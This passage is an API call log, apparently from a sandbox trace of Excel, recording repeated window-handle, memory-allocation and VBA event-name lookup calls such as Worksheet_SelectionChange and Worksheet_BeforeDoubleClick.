nIndex=-6) returned 0x7fef2470000 [0225.078] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0225.078] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0225.078] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0225.078] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0225.078] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0225.078] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0225.078] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0225.078] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0225.078] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0225.078] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0225.078] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0225.078] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0225.078] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0225.078] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0225.079] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0225.079] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91fe0 [0225.079] IMalloc:Free (This=0x7feffc15380, pv=0xbb91fe0) [0228.181] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c00000197 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c00000197) returned 0x0 [0228.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0228.181] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0228.181] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0228.181] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0228.182] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0228.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0228.182] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0228.182] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0228.182] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0228.219] GetCurrentThreadId () returned 0x8fc [0228.219] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0228.219] GetDesktopWindow () returned 0x10010 [0228.219] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0228.219] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0228.219] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0228.220] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0228.220] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0228.220] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0228.220] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0228.220] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0228.220] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0228.220] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0228.220] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0228.220] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0228.221] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0228.221] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0228.221] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0228.221] IsWindowEnabled (hWnd=0x202b0) returned 1 [0228.221] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0228.221] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0228.221] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0228.221] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0228.221] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0228.222] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0228.222] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0228.222] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0228.222] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0228.222] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0228.222] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0228.222] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0228.223] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0228.223] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0228.223] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0228.224] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0228.224] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0228.224] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0228.224] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0228.224] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0228.224] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0228.224] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb92280 [0228.224] IMalloc:Free (This=0x7feffc15380, pv=0xbb92280) [0228.589] GetAsyncKeyState (vKey=27) returned 0 [0228.589] GetCurrentThreadId () returned 0x8fc [0228.589] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0228.589] GetDesktopWindow () returned 0x10010 [0228.590] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0228.590] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0228.590] GetWindowLongPtrA (hWnd=0x26021c, nIndex=-6) returned 0x7feef2c0000 [0228.590] GetWindowLongPtrA (hWnd=0x26021c, nIndex=-6) returned 0x7feef2c0000 [0228.590] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0228.590] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0228.590] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0228.590] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0228.591] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0228.591] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0228.591] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0228.591] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0228.591] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0228.591] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0228.591] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0228.591] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0228.591] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0228.591] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0228.591] IsWindowEnabled (hWnd=0x202b0) returned 0 [0228.591] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0228.591] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0228.591] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0228.591] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0228.591] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0228.591] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0228.591] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0228.592] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0228.592] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0228.592] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0228.592] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0228.592] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0228.592] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0228.592] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0228.592] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0228.592] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0228.592] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0228.592] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0228.592] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0228.592] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0228.592] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0228.593] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb91fe0 [0228.593] IMalloc:Free (This=0x7feffc15380, pv=0xbb91fe0) [0231.729] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c0000026e | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c0000026e) returned 0x0 [0231.729] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0231.729] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0231.729] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0231.729] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0231.730] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0231.730] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0231.730] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0231.730] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0231.730] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0231.875] GetCurrentThreadId () returned 0x8fc [0231.875] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0231.875] GetDesktopWindow () returned 0x10010 [0231.875] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0231.875] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0231.875] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0231.875] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0231.875] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0231.875] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0231.875] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0231.876] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0231.876] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0231.876] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0231.877] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0231.877] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0231.877] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0231.877] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0231.877] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0231.877] IsWindowEnabled (hWnd=0x202b0) returned 1 [0231.877] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0231.877] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0231.877] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0231.877] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0231.877] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0231.877] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0231.877] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0231.878] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0231.878] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0231.878] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0231.878] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0231.878] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0231.878] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0231.878] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0231.878] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0231.878] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0231.878] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0231.878] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0231.878] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0231.878] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0231.878] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0231.879] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb936c0 [0231.879] IMalloc:Free (This=0x7feffc15380, pv=0xbb936c0) [0232.267] GetAsyncKeyState (vKey=27) returned 0 [0232.267] GetCurrentThreadId () returned 0x8fc [0232.267] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0232.267] GetDesktopWindow () returned 0x10010 [0232.267] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0232.267] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0232.267] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0232.267] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0232.267] GetWindowLongPtrA (hWnd=0x150168, nIndex=-6) returned 0x7feef2c0000 [0232.267] GetWindowLongPtrA (hWnd=0x150168, nIndex=-6) returned 0x7feef2c0000 [0232.267] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0232.267] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0232.267] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0232.267] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0232.268] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0232.268] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0232.268] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0232.268] IsWindowEnabled (hWnd=0x202b0) returned 0 [0232.268] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0232.269] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0232.269] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0232.269] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0232.269] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0232.269] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0232.269] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0232.269] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0232.269] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0232.269] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0232.269] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0232.269] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0232.269] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0232.269] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0232.269] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0232.269] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0232.269] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0232.270] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0232.270] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0232.270] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0232.270] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0232.270] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb8d0a0 [0232.270] IMalloc:Free (This=0x7feffc15380, pv=0xbb8d0a0) [0235.376] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c00000345 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x6c00000345) returned 0x0 [0235.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0235.376] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0235.376] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0235.376] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0235.377] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0235.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0235.377] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0235.377] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0235.377] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0235.593] GetCurrentThreadId () returned 0x8fc [0235.593] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0235.593] GetDesktopWindow () returned 0x10010 [0235.593] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0235.593] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0235.593] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0235.593] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0235.594] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0235.594] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0235.594] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0235.594] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0235.594] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0235.594] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0235.594] IsWindowEnabled (hWnd=0x202b0) returned 1 [0235.594] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0235.594] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0235.595] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0235.595] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0235.595] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0235.595] GetWindowLongPtrA (hWnd=0x1022e, 